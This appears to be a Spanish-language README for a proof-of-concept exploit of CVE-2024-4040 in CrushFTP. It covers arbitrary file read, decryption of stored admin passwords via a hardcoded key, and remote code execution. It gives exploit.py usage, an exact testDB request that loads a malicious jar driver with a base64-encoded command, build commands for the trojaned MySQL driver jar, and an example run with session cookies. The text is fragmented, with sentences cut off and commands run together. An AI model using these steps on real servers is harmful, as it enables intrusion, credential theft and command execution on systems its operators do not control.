
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
exploit.py y decrypt.java para obtener y descifrar la contraseña. En resumen, la clave está hardcodeada, por lo que se puede descifrar y también se puede leer cualquier archivo.crushadmin, no existe, puede intentar obtener CrushFTP.log, que contiene información de cuentas de referencia.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java para descifrarla.--shell permite ver cómodamente los resultados después de RCE. Después de cargar el archivo jar de la siguiente manera, puede especificar --jar-path y --headers para ver el resultado del comando ejecutado.
--headers debe incluir la Cookie de inicio de sesión, por ejemplo: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path por defecto es /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Si está en una ubicación diferente, asegúrese de especificar la ruta. En teoría, las rutas relativas también funcionan, pero se recomienda usar rutas absolutas.
User Manager, luego haga clic en el usuario de la izquierda. Arrastre la carpeta que desea mapear a User's Stuff y finalmente ajuste los permisos. Asegúrese de marcar "upload".


testDB que permite especificar el archivo jar y el objeto driver, además de poder subir archivos. Combinando estos, se puede lograr RCE.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user para ejecutarlo.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"